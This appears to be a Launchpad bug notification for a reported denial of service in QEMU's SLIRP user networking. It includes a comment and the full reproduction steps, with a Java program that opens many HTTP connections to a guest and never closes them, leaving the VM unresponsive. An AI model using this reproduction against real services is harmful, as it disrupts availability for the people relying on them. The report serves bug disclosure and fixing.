Responding to comment #1: Nehal's scenario seems to be the other way round. An external application hammers on QEMU with bogus http requests, httpd within the guest closes the socket, but the external application doesn't and QEMU stays with tons of dangling sockets, and "The VM becomes unresponsive. Neither SSH or VNC works after this; even after tcp_fin_timeout expires."
This being said maybe the answer is don't ever use SLIRP if you don't trust both ends of network connections (which sounds a bit like don't ever use SLIRP to me). -- You received this bug notification because you are a member of qemu- devel-ml, which is subscribed to QEMU. https://bugs.launchpad.net/bugs/1668273 Title: DoS possible on - a QEMU process using userspace SLIRP? Status in QEMU: New Bug description: Steps to reproduce: - Launch a VM using QEMU (2.8.0): $ qemu-system-x86_64 \ -machine accel=kvm \ -hda Fedora-Cloud-Base-25-1.3.x86_64.qcow2 \ -m 2G \ -smp 2 \ -vnc :8 \ -boot dc \ -vga std \ -cpu host \ -net nic,vlan=0 \ -net user,vlan=0,hostfwd=tcp::10024-:22,hostfwd=tcp::8082-:80 - SSH into the VM, install httpd, start httpd $ ssh -p 10024 root@localhost 'dnf install -y httpd && systemctl start httpd' - Compile and run the following Java program (on the host): $ cat <<EOF > URLConnectionReader.java import java.net.*; import java.io.*; public class URLConnectionReader { public static void main(String[] args) throws Exception { int i = 0; while (i < 1024) { URL this_is_404 = new URL("http://localhost:8082/blah";); URLConnection yc = this_is_404.openConnection(); try { BufferedReader in = new BufferedReader(new InputStreamReader( yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) System.out.println(inputLine); in.close(); } catch (Exception e) { //HttpURLConnection urlConnection = (HttpURLConnection) yc; //urlConnection.disconnect(); } i++; } Thread.sleep(1000000000); } } $ javac URLConnectionReader.java $ java URLConnectionReader & The java program tries to open a lot of HTTP connections, but never calls disconnect() on any. - Take a look at the list of open FDs of the qemu process: $ ls -tl /proc/${qemu-pid}/fd $ lsof -p ${qemu-pid} All of the TCP connections will be stuck at FIN_WAIT2 The VM becomes unresponsive. Neither SSH or VNC works after this; even after tcp_fin_timeout expires. To manage notifications about this bug go to: https://bugs.launchpad.net/qemu/+bug/1668273/+subscriptions
